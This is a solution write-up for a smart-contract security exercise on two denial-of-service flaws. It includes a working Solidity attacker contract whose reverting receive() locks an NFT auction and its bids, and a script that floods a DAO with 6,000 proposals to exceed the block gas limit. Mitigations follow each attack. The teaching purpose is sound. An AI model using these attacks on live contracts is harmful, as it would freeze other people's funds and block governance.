Smart Contracts Exercise 07: Out of Gas – Solution

The solved Exercise 07 - Out of Gas can be found in this GitLab repository.

Solution to Task 1: NFT Auction Sabotage

This task demonstrates a "DoS with Unexpected Revert" vulnerability in smart contracts. The vulnerability exists in the `NFTAuction` contract's `endAuction` function, which attempts to refund all previous bidders by iterating through the bidders array.

The Vulnerability

The vulnerability stems from the following code in the `endAuction` function:

```
// Process refunds for all bidders
for (uint i = 0; i < bidders.length; i++) {
    address bidder = bidders[i];
    uint256 amount = pendingReturns[bidder];
    if (amount > 0) {
        // Setting the pending amount to 0 before sending to prevent re-entrancy
        pendingReturns[bidder] = 0;

        // Send the refund
        payable(bidder).transfer(amount);
        emit RefundProcessed(bidder, amount);
    }
}
```

The issue is that the function uses `transfer()` to send ETH to each bidder. If any of these transfers fail (for example, if the recipient is a contract without a `receive()` or `fallback()` function that accepts ETH), the entire transaction will revert, preventing the auction from being concluded.

The Attack Strategy

The solution exploits this vulnerability through a malicious contract that:

1. Places a valid bid to be added to the bidders list
2. Implements a `receive()` function that deliberately reverts when it receives ETH

This ensures that when the auction tries to conclude, it will attempt to refund our malicious contract, which will reject the payment and cause the entire transaction to fail.

```
contract NFTAuctionAttacker {
    // Error for rejection
    error RejectPayment();

    // The NFT auction contract to attack
    INFTAuction public nftAuction;

    constructor(address _nftAuction) {
        nftAuction = INFTAuction(_nftAuction);
    }

    // Function to place a bid on the auction
    function attack() external payable {
        nftAuction.bid{value: msg.value}();
    }

    // This function will revert when the auction tries to refund this contract
    // causing the entire endAuction transaction to fail
    receive() external payable {
        revert RejectPayment();
    }
}
```

To execute the attack, we deploy the attacker contract and bid through it:

```
// Deploy our attacker contract
const NFTAuctionAttacker =
  await ethers.getContractFactory("NFTAuctionAttacker", player);
const attackerContract =
  await NFTAuctionAttacker.deploy(nftAuction.target);

// Place a bid through our attacker contract
// We bid more than the current highest bid to ensure we're included
await attackerContract.connect(player).attack({
    value: ethers.parseEther("2.9") // Higher than the last bid of 2.8 ETH
});
```

The attack successfully locks the auction, since any attempt to call `endAuction()` will revert when trying to refund our malicious contract. As a result:

1. The NFT remains locked in the auction contract
2. All bid funds are stuck in the auction contract
3. No one can conclude the auction
4. The 50 ETH bid from bidder3 becomes irrelevant since the auction can never end

Mitigations

To prevent this type of attack, the contract should implement the Pull-over-Push payment pattern:

```
// Instead of pushing payments, the endAuction function should only:
// 1. Mark the auction as ended
// 2. Transfer the NFT to the highest bidder
// 3. Transfer funds to the seller
```

```
// Bidders should call a separate function to withdraw their refunds:
function withdraw() external returns (bool) {
    uint256 amount = pendingReturns[msg.sender];
    if (amount > 0) {
        pendingReturns[msg.sender] = 0;
        (bool success, ) = payable(msg.sender).call{value: amount}("");
        if (!success) {
            pendingReturns[msg.sender] = amount; // Restore on failure
            return false;
        }
    }
    return true;
}
```

Solution to Task 2: Save the DAO Funds From the Cats

This task demonstrates a "DoS with Block Gas Limit" vulnerability. The DAO contract has an unbounded loop in its `getWinningProposals()` function, which is called by `executeProposals()`.

The Vulnerability

The vulnerability stems from the following code in the `getWinningProposals()` function:

```
function getWinningProposals() public view returns (uint256[] memory) {
    // Create a temporary array to store winning proposal IDs (max size is all
    proposals)
    uint256[] memory temp = new uint256[](proposals.length);
    uint256 count = 0;

    // Find all winning proposals in a single loop
    for (uint256 i = 0; i < proposals.length; i++) {
        Proposal storage proposal = proposals[i];

        // Check if the proposal has passed and is ready for execution
        if (
            !proposal.executed &&
            proposal.voteCount > memberCount / 2 &&
            block.timestamp > proposal.createdAt + VOTING_PERIOD
        ) {
            temp[count] = i;
            count++;
        }
    }

    // Create the final array of exactly the right size
    uint256[] memory winningProposals = new uint256[](count);
    for (uint256 i = 0; i < count; i++) {
        winningProposals[i] = temp[i];
    }

    return winningProposals;
}
```

The issue is that this function iterates through *all* proposals. If there are too many proposals, this function will consume too much gas and eventually exceed the block gas limit, preventing the execution of any proposal.

The Attack Strategy

The solution exploits this vulnerability by creating thousands of proposals to make the `getWinningProposals()` function too expensive to execute:

```
// Create many proposals to cause a DoS attack
console.log("Creating many proposals to trigger a DoS attack...");

// Generate descriptions programmatically
const generateProposalDescription = (index) =>
    `Anti-Cat Proposal #${index}!`;

// Empty calldata for the proposals
const emptyCalldata = "0x";

// The number of proposals needed to cause a DoS
const NUM_PROPOSALS = 6000;
const BATCH_SIZE = 500;

console.log(`Adding ${NUM_PROPOSALS} proposals in batches of ${BATCH_SIZE}...`);

for (let batchStart = 0; batchStart < NUM_PROPOSALS; batchStart += BATCH_SIZE) {
    for (let i = 0; i < BATCH_SIZE && batchStart + i < NUM_PROPOSALS; i++) {
        const description = generateProposalDescription(batchStart + i);

        // Create a proposal with minimum value (to player address)
        await dao.connect(player).createProposal(
            description,
            player.address,
            1, // Minimal amount
            emptyCalldata
        );
    }

    const currentCount = await dao.getProposalCount();
    console.log(`Progress: ${currentCount} proposals created so far`);
}
```

After adding 6,000 proposals to the DAO, any attempt to call `executeProposals()` will exceed the block gas limit, making it impossible to execute the cat charity proposal. The attack doesn't even need these proposals to pass - simply having a large number of proposals forces the `getWinningProposals()` function to iterate through all of them, requiring too much gas.

Mitigations

To prevent this type of attack, smart contracts should avoid unbounded loops and implement proper pagination:

```
// Instead of processing all proposals at once, use batch processing:
function executeProposalRange(uint256 startIndex, uint256 endIndex) external
    onlyMember {
```

```
    require(endIndex <= proposals.length, "Invalid range");
    require(endIndex > startIndex, "Invalid range");

    // Only iterate through a limited range
    for (uint256 i = startIndex; i < endIndex; i++) {
        Proposal storage proposal = proposals[i];

        // Process only if it's a winning proposal
        if (!proposal.executed &&
            proposal.voteCount > memberCount / 2 &&
            block.timestamp > proposal.createdAt + VOTING_PERIOD) {

            // Execute the proposal
            // ... (execution logic)
        }
    }
}
```